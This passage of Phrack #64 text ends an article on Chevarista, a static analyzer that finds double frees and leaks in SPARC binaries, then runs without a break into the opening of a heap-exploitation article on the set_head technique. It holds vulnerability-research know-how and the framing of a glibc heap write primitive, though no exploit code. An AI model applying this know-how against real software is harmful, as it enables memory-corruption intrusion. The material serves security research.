As the careful reader might have noticed, this algorithm does not take predicates in account, which means that if such a vulnerable trace is emitted, we have no garantee if the real conditions of the program will ever execute it. Indeed, we might extract a path of the program that "cross" on multiple predicates, some being incompatible with others, thus generating infeasible paths using our technique.

For example in our Stub 8 translated to assembly code, a predicate‑insensitive analysis might generate the trace:

1,2,3,4,5,6,8,9,10,11,12,13

which is impossible to execute because predicates holding at states 8 and 10 cannot be respectively true and false after just one iteration of the loop. Thus such a trace cannot exist in the real world.

We will not go further this topic for this article, but in the next part, we will discuss various improvements of what should be a good analysis engine to avoid generating too much false positives.

‑‑‑‑‑‑‑‑‑‑‑‑[ C. How to improve

In this part, we will review various methods quickly to determine how exactly it is possible to make the analysis more accurate and efficient. Current researchers in program analysis used to call this a "counter‑example guided" verification. Various techniques taken from the world of Model Checking or Abstract Interpretation can then be used, but we will not enter such theoretical concerns. Simply, we will discuss the ideas of those techniques without entering details. The proposed chevarista analyzer in appendix of this article only perform basic alias analysis, no predicate analysis, and no thread scheduling analysis (as would be useful for detecting race conditions). I will give the name of few analyzer that implement this analysis and quote which techniques they are using.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ a. Predicate analysis and the predicate lattice

Predicate abstraction [PA] is about collecting all the predicates in a program, and constructing a mathematic object from this list called a lattice [LAT]. A lattice is a set of objects on which a certain (partial) order is defined between elements of this set. A lattice has various theoretical properties that makes it different than a partial order, but we will not give such details in this article. We will discuss about the order itself and the types of objects we are talking about:

‑ The order can be defined as the union of objects

(P < Q iif P is included in Q)

‑ The objects can be predicates

‑ The conjunction (AND) of predicate can be the least upper bound of N predicates. Predicates (a > 42) and (b < 2) have as upper bound:

(a > 42) && (b < 2)

‑ The disjunction (OR) of predicates can be the greatest lower bound of N predicates. Predicates (a > 42) and (b < 2) would have as lower bound:

(a > 42) || (b < 2)

So the lattice would look like:

(a > 42) && (b < 2)

/ \

/ \

/ \

(a > 42) (b < 2)

\ /

\

(a > 42) || (b < 2)

Now imagine we have a program that have N predicates. If all predicates can be true at the same time, the number of combinations between predicates will be 2 at the power of N. THis is without counting the lattice elements which are disjunctions between predicates. The total number of combinations will then be then 2*2pow(N) ‑ N : We have to substract N because the predicates made of a single atomic predicates are shared between the set of conjunctives and the set of disjunctive predicates, which both have 2pow(N) number of elements including the atomic predicates, which is the base case for a conjunction (pred && true) or a disjunction (pred || false).

We may also need to consider the other values of predicates : false, and unknown. False would simply be the negation of a predicate, and unknown would inform about the unknown truth value for a predicate (either false or true, but we dont know). In that case, the number of possible combinations between predicates is to count on the number of possible combinations of N predicates, each of them being potentially true, false, or unknown. That makes up to 3pow(N) possibilities. This approach is called three‑valued logic [TVLA].

In other words, we have a exponential worse case space complexity for constructing the lattice of predicates that correspond to an analyzed program. Very often, the lattice will be smaller, as many predicates cannot be true at the same time. However, there is a big limitation in such a lattice: it is not capable to analyze predicates that mix AND and OR. It means that if we analyze a program that can be reached using many different set of predicates (say, by executing many different possible paths, which is the case for reusable functions), this lattice will not be capable to give the most precise "full" abstract representation for it, as it may introduce some flow‑insensitivity in the analysis (e.g. a single predicate combinations will represent multiple different paths). As this might generate false positives, it looks like a good trade‑off between precision and complexity. Of course, this lattice is just provided as an example and the reader should feel free to adapt it to its precise needs and depending on the size of the code to be verified. It is a good hint for a given abstraction but we will see that other information than predicates are important for program analysis.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ b. Alias analysis is hard

A problem that arises in both source code but even more in binary code automated auditing is the alias analysis between pointers. When do pointers points on the same variables ? This is important in order to propagate the infered allocation size (when talking about a buffer), and to share a type‑state (such as when a pointer is freed or allocated : you could miss double free or double‑something bugs if you dont know that 2 variables are actually the same).

There are multiple techniques to achieve alias analysis. Some of them works inside a single function (so‑called intraprocedural [DDA]). Other works across the boundaries of a function. Generally, the more precise is your alias analysis, the smaller program you will be capable to analyze. It seems quite difficult to scale to millions of lines of code if tracking every single location for all possible pointers in a naive way. In addition to the problem that each variable might have a very big amount of aliases (especially when involving aliases over arrays), a program translated to a single‑assignment or single‑information form has a very big amount of variables too. However the live range of those variables is very limited, so their number of aliases too. It is necessary to define aliasing relations between variables so that we can proceed our analysis using some extra checks:

‑ no_alias(a,b) : Pointers a and b definitely points on different sets of variables

‑ must_alias(a,b) : Pointers a and b definitely points on the same set of variables

‑ may_alias(a,b) : The "point‑to" sets for variables a and b share some elements (non‑null intersection) but are not equal.

NoAliasing and MustAliasing are quite intuitive. The big job is definitely the MayAliasing. For instance, 2 pointers might point on the same variable when executing some program path, but on different variables when executing from another path. An analysis that is capable to make those differences is called a path‑sensitive analysis. Also, for a single program location manipulating a given variable, the point‑to set of the variable can be different depending on the context (for example : the set of predicates that are true at this moment of abstract program interpretation). An analysis that can reason on those differences is called context‑sensitive.

Its an open problem in research to find better alias analysis algorithms that scale to big programs (e.g. few computation cost) and that are capable to keep sufficiently precision to prove security properties. Generally, you can have one, but not the other. Some analysis are very precise but only works in the boundaries of a function. Others work in a pure flow‑insensitive manner, thus scale to big programs but are very imprecise. My example analyzer Chevarista implements only a simple alias analysis, that is very precise but does not scale well to big programs. For each pointer, it will try to compute its point‑to set in the concrete world by somewhat simulating the computation of pointer arithmetics and looking at its results from within the analyzer. It is just provided as an example but is in no way a definitive answer to this problem.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ c. Hints on detecting race conditions

Another class of vulnerability that we are interested to detect automatically are race conditions. Those vulnerability requires a different analysis to be discovered, as they relates to a scheduling property : is it possible that 2 thread get interleaved (a,b,a,b) executions over their critical sections where they share some variables ? If the variables are all well locked, interleaved execution wont be a problem anyway. But if locking is badly handled (as it can happens in very big programs such as Operating Systems), then a scheduling analysis might uncover the problem.

Which data structure can we use to perform such analysis ? The approach of JavaPathFinder [JPF] that is developed at NASA is to use a scheduling graph. The scheduling graph is a non‑cyclic (without loop) graph, where nodes represents states of the program and and edges represents scheduling events that preempt the execution of one thread for executing another.

As this approach seems interesting to detect any potential scheduling path (using again a Depth First Search over the scheduling graph) that fails to lock properly a variable that is used in multiple different threads, it seems to be more delicate to apply it when we deal with more than 2 threads. Each potential node will have as much edges as there are threads, thus the scheduling graph will grow exponentially at each scheduling step. We could use a technique called partial order reduction to represent by a single node a big piece of code for which all instructions share the same scheduling property (like: it cannot be interrupted) or a same dataflow property (like: it uses the same set of variables) thus reducing the scheduling graph to make it more abstract.

Again, the chevarista analyzer does not deal with race conditions, but other analyzers do and techniques exist to make it possible. Consider reading the references for more about this topic.

‑‑‑‑‑‑‑‑‑‑‑[ IV. Chevarista: an analyzer of binary programs

Chevarista is a project for analyzing binary code. In this article, most of the examples have been given in C or assembly, but Chevarista only analyze the binary code without any information from the source. Everything it needs is an entry point to start the analysis, which you can always get without troubles, for any (working ? ;) binary format like ELF, PE, etc.

Chevarista is a simplier analyzer than everything that was presented in this article, however it aims at following this model, driven by the succesful results that were obtained using the current tool. In particular, the intermediate form of Chevarista at the moment is a graph that contains both data‑flow and control‑flow information, but with sigma and phi functions let implicit.

For simplicity, we have chosen to work on SPARC [SRM] binary code, but after reading that article, you might understand that the representations used are sufficiently abstract to be used on any architecture. One could argue that SPARC instruction set is RISC, and supporting CISC architecture like INTEL or ARM where most of the instruction are conditional, would be a problem. You are right to object on this because these architectures requires specific features of the architecture‑dependant backend of the decompiler‑analyzer. Currently, only the SPARc backend is coded and there is an empty skeleton for the INTEL architecture [IRM].

What are, in the detail, the difference between such architectures ?

They are essentially grouped into a single architecture‑dependant component :

The Backend

On INTEL 32bits processors, each instruction can perform multiple operations. It is also the case for SPARC, but only when conditional flags are affected by the result of the operation executed by the instruction. For instance, a push instruction write in memory, modify the stack pointer, and potentially modify the status flags (eflags register on INTEL), which make it very hard to analyze. Many instructions do more than a single operation, thus we need to translate into intermediate forms that make those operations more explicit. If we limit the number of syntactic constructs in that intermediate form, we are capable of performing architecture independant analysis much easier with all operations made explicit. The low‑level intermediate form of Chevarista has around 10 "abstract operations" in its IR : Branch, Call, Ternop (that has an additional field in the structure indicating which arithmetic or logic operation is performed), Cmp, Ret, Test, Interrupt, and Stop. Additionally you have purely abstract operations (FMI: Flag Modifying Instruction), CFI (Control Flow Instruction), and Invoke (external functions calls) which allow to make the analysis further even more generic. Invoke is a kind of statement that inform the analyzer that it should not try to analyze inside the function being invoked, but consider those internals as an abstraction. For instance, types Alloc, Free, Close are child classes of the Invoke abstract class, which model the fact that malloc(), free(), or close() are called and the analyzer should not try to handle the called code, but consider it as a blackbox. Indeed, finding allocation bugs does not require to go analyzing inside malloc() or free(). This would be necessary for automated exploit generation tho, but we do not cover this here.

We make use the Visitor Design Pattern for architecturing the analysis, as presented in the following paragraph.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ B. Program transformation & modeling

The project is organized using the Visitor Design Pattern [DP]. To sum‑up, the Visitor Design Pattern allows to walk on a graph (that is: the intermediate form representation inside the analyzer) and transform the nodes (that contains either basic blocs for control flow analysis, or operands for dataflow analysis: indeed the control or data flow links in the graph represents the ancestors / successors relations between (control flow) blocs or (data flow) variables.

The project is furnished as it:

visitor: The default visitor. When the graph contains node which type are not handled by the current visitor, its this visitor that perform the operation. THe default visitor is the root class of the Visitor classes hierarchy.

arch : the architecture backend. Currently SPARC32/64 is fully provided and the INTEL backend is just a skeleton. The whole proof of concept was written on SPARC for simplicity. This part also includes the generic code for dataflow and control flow computations.

graph : It contains all the API for constructing graphs directly into into the intermediate language. It also defines all the abstract instructions (and the "more" abstract instruction as presented previously)

gate : This is the interprocedural analysis visitor. Dataflow and Control flow links are propagated interprocedurally in that visitor. Additionally, a new type "Continuation" abstracts different kind of control transfer (Branch, Call, Ret, etc) which make the analysis even easier to perform after this transformation.

alias : Perform a basic point‑to analysis to determine obvious aliases between variables before checking for vulnerabilities. THis analysis is exact and thus does not scale to big programs. There are many hours of good reading and hacking to improve this visitor that would make the whole analyzer much more interesting in practice on big programs.

heap : This visitor does not perform a real transformation, but simplistic graph walking to detect anomalies on the data flow graph. Double frees, Memory leaks, and such, are implemented in that Visitor.

print : The Print Visitor, simply prints the intermediate forms after each transformation in a text file.

printdot : Print in a visual manner (dot/graphviz) the internal representation. This can also be called after each transformation but we currently calls it just at this end of the analysis.

Additionally, another transformation have been started but is still work in progress:

symbolic : Perform translation towards a more symbolic intermediate forms (such as SSA and SSI) and (fails to) structure the control flow graphs into a graph of zones. This visitor is work in progress but it is made part of this release as Chevarista will be discontinued in its current work, for being implemented in the ERESI [RSI] language instead of C++.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑

| | | |

RAW | Architecture | | Gate | | Alias | | Heap |

‑‑‑‑> | | ‑> | Results

ASM | Backend | | Visitor | | Visitor | | Visitor |

| | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ C. Vulnerability checking

Chevarista is used as follow in this demo framework. A certain big testsuits of binary files is provided in the package and the analysis is performed. In only a couple of seconds, all the analysis is finished:

# We execute chevarista on testsuite binary 34

$ autonomous/chevarista ../testsuite/34.elf

.:/\ Chevarista standalone version /\:.

[...]

=> chevarista

Detected SPARC

Chevarista IS STARTING

Calling sparc64_IDG

Created IDG

SPARC IDG : New bloc at addr 0000000000100A34

SPARC IDG : New bloc at addr 00000000002010A0

[!] Reached Invoke at addr 00000000002010A4

SPARC IDG : New bloc at addr 0000000000100A44

Cflow reference to : 00100A50

Cflow reference from : 00100A48

Cflow reference from : 00100C20

SPARC IDG : New bloc at addr 0000000000100A4C

SPARC IDG : New bloc at addr 0000000000100A58

SPARC IDG : New bloc at addr 0000000000201080

[!] Reached Invoke at addr 0000000000201084

SPARC IDG : New bloc at addr 0000000000100A80

SPARC IDG : New bloc at addr 0000000000100AA4

SPARC IDG : New bloc at addr 0000000000100AD0

SPARC IDG : New bloc at addr 0000000000100AF4

SPARC IDG : New bloc at addr 0000000000100B10

SPARC IDG : New bloc at addr 0000000000100B70

SPARC IDG : New bloc at addr 0000000000100954

Cflow reference to : 00100970

Cflow reference from : 00100968

Cflow reference from : 00100A1C

SPARC IDG : New bloc at addr 000000000010096C

SPARC IDG : New bloc at addr 0000000000100A24

Cflow reference to : 00100A2C

Cflow reference from : 00100A24

Cflow reference from : 00100A08

SPARC IDG : New bloc at addr 0000000000100A28

SPARC IDG : New bloc at addr 0000000000100980

SPARC IDG : New bloc at addr 0000000000100A10

SPARC IDG : New bloc at addr 00000000001009C4

SPARC IDG : New bloc at addr 0000000000100B88

SPARC IDG : New bloc at addr 0000000000100BA8

SPARC IDG : New bloc at addr 0000000000100BC0

SPARC IDG : New bloc at addr 0000000000100BE0

SPARC IDG : New bloc at addr 0000000000100BF8

SPARC IDG : New bloc at addr 0000000000100C14

SPARC IDG : New bloc at addr 00000000002010C0

[!] Reached Invoke at addr 00000000002010C4

SPARC IDG : New bloc at addr 0000000000100C20

SPARC IDG : New bloc at addr 0000000000100C04

SPARC IDG : New bloc at addr 0000000000100910

SPARC IDG : New bloc at addr 0000000000201100

[!] Reached Invoke at addr 0000000000201104

SPARC IDG : New bloc at addr 0000000000100928

SPARC IDG : New bloc at addr 000000000010093C

SPARC IDG : New bloc at addr 0000000000100BCC

SPARC IDG : New bloc at addr 00000000001008E0

SPARC IDG : New bloc at addr 00000000001008F4

SPARC IDG : New bloc at addr 0000000000100900

SPARC IDG : New bloc at addr 0000000000100BD8

SPARC IDG : New bloc at addr 0000000000100B94

SPARC IDG : New bloc at addr 00000000001008BC

SPARC IDG : New bloc at addr 00000000001008D0

SPARC IDG : New bloc at addr 0000000000100BA0

SPARC IDG : New bloc at addr 0000000000100B34

SPARC IDG : New bloc at addr 0000000000100B58

Cflow reference to : 00100B74

Cflow reference from : 00100B6C

Cflow reference from : 00100B2C

Cflow reference from : 00100B50

SPARC IDG : New bloc at addr 0000000000100B04

SPARC IDG : New bloc at addr 00000000002010E0

SPARC IDG : New bloc at addr 0000000000100AE8

SPARC IDG : New bloc at addr 0000000000100A98

Intraprocedural Dependance Graph has been built succesfully!

A number of 47 blocs has been statically traced for flow‑types

[+] IDG built

Scalar parameter REPLACED with name = %o0 (addr= 00000000002010A4) Backward dataflow analysis VAR %o0, instr addr 00000000002010A4 Scalar parameter REPLACED with name = %o0 (addr= 00000000002010A4) Backward dataflow analysis VAR %o0, instr addr 00000000002010A4 Scalar parameter REPLACED with name = %o0 (addr= 00000000002010A4) Backward dataflow analysis VAR %o0, instr addr 00000000002010A4 Backward dataflow analysis VAR %fp, instr addr 0000000000100A48 Return‑Value REPLACED with name = %i0 (addr= 0000000000100A44) Backward dataflow analysis VAR %i0, instr addr 0000000000100A44 Backward dataflow analysis VAR %fp, instr addr 0000000000100A5C Return‑Value REPLACED with name = %i0 (addr= 0000000000100A58) Backward dataflow analysis VAR %i0, instr addr 0000000000100A58 Backward dataflow analysis VAR [%fp + 7e7], instr addr 0000000000100A6C Scalar parameter REPLACED with name = %o0 (addr= 0000000000201084) Backward dataflow analysis VAR %o0, instr addr 0000000000201084 Scalar parameter REPLACED with name = %o0 (addr= 0000000000201084) Backward dataflow analysis VAR %o0, instr addr 0000000000201084 Scalar parameter REPLACED with name = %o1 (addr= 0000000000201084) Backward dataflow analysis VAR %o1, instr addr 0000000000201084 Scalar parameter REPLACED with name = %o1 (addr= 0000000000201084) Backward dataflow analysis VAR %o1, instr addr 0000000000201084 Scalar parameter REPLACED with name = %o2 (addr= 0000000000201084) Backward dataflow analysis VAR %o2, instr addr 0000000000201084 Scalar parameter REPLACED with name = %o2 (addr= 0000000000201084) Backward dataflow analysis VAR %o2, instr addr 0000000000201084 Backward dataflow analysis VAR %fp, instr addr 0000000000100A84 Return‑Value REPLACED with name = %i0 (addr= 0000000000100A80) Backward dataflow analysis VAR %i0, instr addr 0000000000100A80 Backward dataflow analysis VAR [%fp + 7d3], instr addr 0000000000100AA4 Backward dataflow analysis VAR [%fp + 7df], instr addr 0000000000100ABC Backward dataflow analysis VAR [%fp + 7e7], instr addr 0000000000100AAC Backward dataflow analysis VAR %fp, instr addr 0000000000100AD4 Return‑Value REPLACED with name = %i0 (addr= 0000000000100AD0) Backward dataflow analysis VAR %i0, instr addr 0000000000100AD0 Backward dataflow analysis VAR [%fp + 7d3], instr addr 0000000000100AF4 Backward dataflow analysis VAR [%fp + 7d3], instr addr 0000000000100B24 Backward dataflow analysis VAR [%fp + 7df], instr addr 0000000000100B18 Backward dataflow analysis VAR [%fp + 7e7], instr addr 0000000000100B70 Backward dataflow analysis VAR [%fp + 7e7], instr addr 0000000000100B70 Backward dataflow analysis VAR [%fp + 7e7], instr addr 0000000000100B70 Backward dataflow analysis VAR [%fp + 7e7], instr addr 0000000000100B38 Backward dataflow analysis VAR %fp, instr addr 0000000000100964 Backward dataflow analysis VAR %fp, instr addr 0000000000100964 Backward dataflow analysis VAR %fp, instr addr 0000000000100964 Scalar parameter REPLACED with name = %o0 (addr= 0000000000100958) Backward dataflow analysis VAR %o0, instr addr 0000000000100958 Scalar parameter REPLACED with name = %o0 (addr= 0000000000100958) [....]

Backward dataflow analysis VAR %fp, instr addr 0000000000100B6C Backward dataflow analysis VAR [%fp + 7df], instr addr 0000000000100B60 Backward dataflow analysis VAR [%fp + 7e7], instr addr 0000000000100B58 [+] GateVisitor finished

[+] AliasVisitor finished

+ Entered Node Splitting for Node id 24

+ Entered Node Splitting for Node id 194

+ Entered Node Splitting for Node id 722

+ Entered Node Splitting for Node id 794

+ Entered Node Splitting for Node id 1514

+ Entered Node Splitting for Node id 1536

+ Entered Node Splitting for Node id 1642

[+] SymbolicVisitor finished

Entering DotVisitor

+ SESE visited

+ SESE visited

* SESE already visited

* SESE already visited

+ SESE visited

+ SESE visited

* SESE already visited

* SESE already visited

* SESE already visited

! Node pointed by (nil) is NOT a SESE

+ SESE visited

* SESE already visited

* SESE already visited

* SESE already visited

[+] Print*Visitors finished

Starting HeapVisitor

Double Free found

Double Free found

Double malloc

[+] Heap visitor finished

[+] Chevarista has finished

The run was performed in less than 2 seconds and multiple vulnerabilities have been found in the binary file (2 double free and one memory leak as indicated by the latest output). Its pretty useless without more information, which brings us to the results.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ D. Vulnerable paths extraction

Once the analysis has been performed, we can simply check what the vulnerable paths were:

~/IDA/sdk/plugins/chevarista/src $ ls tmp/

cflow.png chevarista.alias chevarista.buchi chevarista.dflow.dot \ chevarista.dot chevarista.gate chevarista.heap chevarista.lir \ chevarista.symbolic dflow.png

Each visitor (transformation) outputs the complete program in each intermediate form. The most interesting thing is the output of the heap visitor that give us exactly the vulnerable paths:

~/IDA/sdk/plugins/chevarista/src $ cat tmp/chevarista.heap

[%fp + 7e7]

[%fp + 7df]

[%l0]

**********************************

*

* Multiple free of same variables *

*

**********************************

******************

path to free : 1

******************

@0x2010a4 (0) {S} 32: inparam_%i0 = Alloc(inparam_%i0) @0x100a44 (4) {S} 46: %g1 = outparam_%o0

@0x100a48 (8) {S} 60: local_%fp$0x7e7 = %g1

@0x100bcc (8) {S} 1770: outparam_%o0 = local_%fp$0x7e7 @0x1008e4 (8) {S} 1792: local_%fp$0x87f = inparam_%i0 @0x1008f4 (8) {S} 1828: outparam_%o0 = local_%fp$0x87f @0x2010c4 (0) {S} 1544: inparam_%i0 = Free(inparam_%i0)

******************

path to free : 2

******************

@0x2010a4 (0) {S} 32: inparam_%i0 = Alloc(inparam_%i0) @0x100a44 (4) {S} 46: %g1 = outparam_%o0

@0x100a48 (8) {S} 60: local_%fp$0x7e7 = %g1

@0x100b58 (8) {S} 2090: %g1 = local_%fp$0x7e7 @0x100b5c (8) {S} 2104: local_%fp$0x7d7 = %g1 @0x100b68 (8) {S} 2146: %g1 = local_%fp$0x7d7 @0x100b6c (8) {S} 2160: local_%fp$0x7df = %g1 @0x100c14 (8) {S} 1524: outparam_%o0 = local_%fp$0x7df @0x2010c4 (0) {S} 1544: inparam_%i0 = Free(inparam_%i0)

******************

path to free : 3

******************

@0x2010a4 (0) {S} 32: inparam_%i0 = Alloc(inparam_%i0) @0x100a58 (4) {S} 96: %g1 = outparam_%o0

@0x100a5c (8) {S} 110: local_%fp$0x7df = %g1

@0x100c14 (8) {S} 1524: outparam_%o0 = local_%fp$0x7df @0x2010c4 (0) {S} 1544: inparam_%i0 = Free(inparam_%i0)

******************

path to free : 4

******************

@0x2010a4 (0) {S} 32: inparam_%i0 = Alloc(inparam_%i0) @0x100a58 (4) {S} 96: %g1 = outparam_%o0

@0x100a5c (8) {S} 110: local_%fp$0x7df = %g1

@0x100b60 (8) {S} 2118: %g1 = local_%fp$0x7df @0x100b64 (8) {S} 2132: local_%fp$0x7e7 = %g1 @0x100bcc (8) {S} 1770: outparam_%o0 = local_%fp$0x7e7 @0x1008e4 (8) {S} 1792: local_%fp$0x87f = inparam_%i0 @0x1008f4 (8) {S} 1828: outparam_%o0 = local_%fp$0x87f @0x2010c4 (0) {S} 1544: inparam_%i0 = Free(inparam_%i0)

~/IDA/sdk/plugins/chevarista/src $

As you can see, we now have the complete vulnerable paths where multiple frees are done in sequence over the same variables. In this example, 2 double frees were found and one memory leak, for which the path to free is not given, since there is no (its a memory leak :).

A very useful trick was also to give more refined types to operands. For instance, local variables can be identified pretty easily if they are accessed throught the stack pointer. Function parameters and results can also be found easily by inspecting the use of %i and %o registers (for the SPARC architecture only).

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ E. Future work : Refinement

The final step of the analysis is refinement [CEGF]. Once you have analyzed a program for vulnerabilities and we have extracted the path of the program that looks like leading to a corruption, we need to recreate the real conditions of triggering the bug in the reality, and not in an abstract description of the program, as we did in that article. For this, we need to execute for real (this time) the program, and try to feed it with data that are deduced from the conditional predicates that are on the abstract path of the program that leads to the potential vulnerability. The input values that we would give to the program must pass all the tests that are on the way of reaching the bug in the real world.

Not a lot of projects use this technique. It is quite recent research to determine exactly how to be the most precise and still scaling to very big programs. The answer is that the precision can be requested on demand, using an iterative procedure as done in the BLAST [BMC] model checker. Even advanced abstract interpretation framework [ASA] do not have refinement in their framework yet : some would argue its too computationally expensive to refine abstractions and its better to couple weaker abstractions together than tring to refine a single "perfect" one.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ V. Related Work

Almost no project about this topic has been initiated by the underground. The work of Nergal on finding integer overflow into Win32 binaries is the first notable attempt to mix research knowledge and reverse engineering knowledge, using a decompiler and a model checker. The work from Halvar Flake in the framework of BinDiff/BinNavi [BN] is interesting but serves until now a different purpose than finding vulnerabilities in binary code.

On a more theoretical point of view, the interested reader is invited to look at the reference for findings a lot of major readings in the field of program analysis. Automated reverse engineering, or decompiling, has been studied in the last 10 years only and the gap is still not completely filled between those 2 worlds. This article tried to go into that direction by introducing formal techniques using a completely informal view.

Mostly 2 different theories can be studied : Model Checking [MC] and Abstract Interpretation [AI] . Model Checking generally involves temporal logic properties expressed in languages such as LTL, CTL, or CTL* or [TL]. Those properties are then translated to automata. Traces are then used as words and having the automata not recognizing a given trace will mean breaking a property. In practice, the formula is negated, so that the resulting automata will only recognize the trace leading to vulnerabilities, which sounds a more natural approach for detecting vulnerabilities.

Abstract interpretation [ASA] is about finding the most adequate system representation for allowing the checking to be computable in a reasonable time (else we might end up doing an "exhaustive bruteforce checking" if we try to check all the potential behavior of the program, which can btw be infinite). By reasoning into an abstract domain, we make the state‑space to be finite (or at least reduced, compared to the real state space) which turn our analysis to be tractable. The strongest the abstractions are, the fastest and imprecise our analysis will be. All the job consist in finding the best (when possible) or an approximative abstraction that is precise enough and strong enough to give results in seconds or minuts.

In this article, we have presented some abstractions without quoting them explicitely (interval abstraction, trace abstraction, predicate abstraction ..). You can also design product domains, where multiple abstractions are considered at the same time, which gives the best results, but for which automated procedures requires more work to be defined.

‑‑‑‑‑‑[ VI. Conclusion

I Hope to have encouraged the underground community to think about using more formal techniques for the discovery of bugs in programs. I do not include this dream automated tool, but a simplier one that shows this approach as rewarding, and I look forward seing more automated tools from the reverse engineering community in the future. The chevarista analyzer will not be continued as it, but is being reimplemented into a different analysis environment, on top of a dedicated language for reverse engineering and decompilation of machine code. Feel free to hack inside the code, you dont have to send me patches as I do not use this tool anymore for my own vulnerability auditing. I do not wish to encourage script kiddies into using such tools, as they will not know how to exploit the results anyway (no, this does not give you a root shell).

‑‑‑‑‑‑[ VII. Greetings

Why should every single Phrack article have greetings ?

The persons who enjoyed Chevarista know who they are.

‑‑‑‑‑‑[ VIII. References

[TVLA] Three‑Valued Logic http://en.wikipedia.org/wiki/Ternary_logic

[AI] Abstract Interpretation

http://www.di.ens.fr/~cousot/

[MC] Model Checking http://en.wikipedia.org/wiki/Model_checking

[CEGF] Counterexample‑guided abstraction refinement

E Clarke ‑ Temporal Representation and Reasoning

[BN] Sabre‑security BinDiff & BinNavi http://www.sabre‑security.com/

[JPF] NASA JavaPathFinder http://javapathfinder.sourceforge.net/

[UNG] UQBT‑ng : a tool that finds integer overflow in Win32 binaries events.ccc.de

[SSA] Efficiently computing static single assignment form R Cytron, J Ferrante, BK Rosen, MN Wegman

ACM Transactions on Programming Languages and SystemsFK

[SSI] Static Single Information (SSI)

CS Ananian ‑ 1999 ‑ lcs.mit.edu

[MCI] Modern Compiler Implementation (Book)

Andrew Appel

[BMC] The BLAST Model Checker http://mtc.epfl.ch/software‑tools/blast/

[AD] 22C3 ‑ Autodafe : an act of software torture events.ccc.de/congress/2005/fahrplan/events/606.en.html

[TL] Linear Temporal logic http://en.wikipedia.org/wiki/Linear_Temporal_Logic

[ASA] The ASTREE static analyzer

www.astree.ens.fr

[DLB] Dvorak LKML select bug

Somewhere lost on lkml.org

[RSI] ERESI (Reverse Engineering Software Interface) http://eresi.asgardlabs.org

[PA] Automatic Predicate Abstraction of C Programs

T Ball, R Majumdar, T Millstein, SK Rajamani

ACM SIGPLAN Notices 2001

[IRM] INTEL reference manual http://www.intel.com/design/pentium4/documentation.htm

[SRM] SPARC reference manual http://www.sparc.org/standards/

[LAT] Wikipedia : lattice http://en.wikipedia.org/wiki/Lattice_%28order%29

[DDA] Data Dependence Analysis of Assembly Code ftp://ftp.inria.fr/INRIA/publication/publi‑pdf/RR/RR‑3764.pdf

[DP] Design Patterns : Elements of Reusable Object‑Oriented Software Erich Gamma, Richard Helm, Ralph Johnson & John Vlissides

‑‑‑‑‑‑[ IX. The code

Feel free to contact me for getting the code. It is not included in that article but I will provide it on request if you show

The use of set_head to defeat the wilderness

_

_/B\_ W\_

(* *) Phrack #64 file 9 (* *)

| ‑ |

| | The use of set_head to defeat the wilderness | |

| |

| | By g463 | |

| |

| | jean‑sebastien@guay‑leroux.com | |

(_____________________________

1 ‑ Introduction

2 ‑ The set_head() technique

2.1 ‑ A look at the past ‑ "The House of Force" technique 2.2 ‑ The basics of set_head()

2.3 ‑ The details of set_head()

3 ‑ Automation

3.1 ‑ Define the basic properties

3.2 ‑ Extract the formulas

3.3 ‑ Compute the values

4 ‑ Limitations

4.1 ‑ Requirements of two different techniques 4.1.1 ‑ The set_head() technique

4.1.2 ‑ The "House of Force" technique

4.2 ‑ Almost 4 bytes to almost anywhere technique 4.2.1 ‑ Everything in life is a multiple of 8

4.2.2 ‑ Top chunk's size needs to be bigger than the requested malloc size

4.2.3 ‑ Logical OR with PREV_INUSE

5 ‑ Taking set_head() to the next level

5.1 ‑ Multiple overwrites

5.2 ‑ Infoleak

6 ‑ Examples

6.1 ‑ The basic scenarios

6.1.1.1 ‑ The most basic form of the set_head() technique 6.1.1.2 ‑ Exploit

6.1.2.1 ‑ Multiple overwrites

6.1.2.2 ‑ Exploit

6.2 ‑ A real case scenario: file(1) utility

6.2.1 ‑ The hole

6.2.2 ‑ All the pieces fall into place

6.2.3 ‑ hanuman.c

7 ‑ Final words

8 ‑ References

‑‑[ 1 ‑ Introduction

Many papers have been published in the past describing techniques on how to take advantage of the inbound memory management in the GNU C Library implementation. A first technique was introduced by Solar Designer in his security advisory on a flaw in the Netscape browser[1]. Since then, many improvements have been made by many different individuals ([2], [3], [4], [5], [6] just to name a few). However, there is always one situation that gives a lot more trouble than others. Anyone who has already tried to take advantage of that situation will agree. How to take control of a vulnerable program when the only critical information that you can overwrite is the header of the wilderness chunk?

The set_head technique is a new way to obtain a "write almost 4 arbitrary bytes to almost anywhere" primitive. It was born because of a bug in the file(1) utility that the author was unable to exploit with existing techniques.

This paper will present the details of the technique. Also, it will show you how to practically apply this technique to other exploits. The limitations of the technique will also be presented. Finally, some examples will be shown to better understand the various aspects of the technique.

‑‑[ 2 ‑ The set_head() technique

Most of the time, people who write exploits using malloc techniques are not aware of the difficulties that the wilderness chunk implies until they face the problem. It is only at this exact time that they realize how the known techniques (i.e. unlink, etc.) have no effect on this particular context.

As MaXX once said [3]: "The wilderness chunk is one of the most dangerous opponents of the attacker who tries to exploit heap mismanagement. Because this chunk of memory is handled specially by the dlmalloc internal routines, the attacker will rarely be able to execute arbitrary code if they solely corrupt the boundary tag associated with the wilderness chunk."

‑‑‑‑[ 2.1 ‑ A look at the past ‑ "The House of Force" technique

To better understand the details of the set_head() technique explained in this paper, it would be helpful to first understand what has already been done on the subject of exploiting the top chunk.

This is not the first time that the exploitation of the wilderness chunk has been specifically targeted. The pioneer of this type of exploitation is Phantasmal Phantasmagoria.

He first wrote an article entitled "Exploiting the wilderness" about it in 2004. Details of this technique are out of scope for the current paper, but you can learn more about it by reading his paper [5].

He gave a second try at exploiting the wilderness in his excellent paper "Malloc Maleficarum" [4]. He named his technique "The House of Force". To better understand the set_head() technique, the "House of Force" is described below.

